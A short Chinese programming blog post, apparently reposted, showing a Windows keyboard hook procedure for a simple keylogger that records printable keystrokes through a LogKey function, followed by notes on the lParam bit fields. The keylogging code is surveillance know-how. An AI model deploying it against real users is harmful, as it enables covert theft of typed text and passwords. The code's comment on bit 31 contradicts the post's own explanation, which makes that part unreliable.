简单键盘记录钩子

钩子过程函数如下:

LRESULT CALLBACK KeyHookProc(int nCode,WPARAM wParam,LPARAM lParam){
     if(((lParam>>31)&1) == 1){
        //当前按键正在被按下
         if(wParam >= 0x20 && wParam <= 0x7e){

              //可打印字符
              char buf[2];
              int capsLockState=GetKeyState(VK_CAPITAL); //CAP LOCK键状态
              if(wParam>='A' && wParam<='Z' &&((capsLockState&1)==0)){
                  buf[0]=(char)wParam+32;
              }else{
                   buf[0]=(char )wParam;
               }
              buf[1]='\0';
              LogKey(buf);
         }
  }
 return CallNextHookEx(g_hKeyHook,nCode,wParam,lParam);
}

说明:

1,可以通过lParam获取按键的一些状态其各位的定义如下:

0~15:按键重复次数

16~23:扫描码

24:是否是功能键或数字小键盘上的键,是则为1.

25~28:保留。

29:Alt键是否被按下,按下为1.

30:如果在消息被发送之前是按下的则为1,否则为0。

31:如果键正在被按下,则为0

2,通过GetKeyState获取一些控制键的状态,具体使用方法见MSDN.

转载于:https://www.cnblogs.com/cmleung/archive/2009/11/14/1602907.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值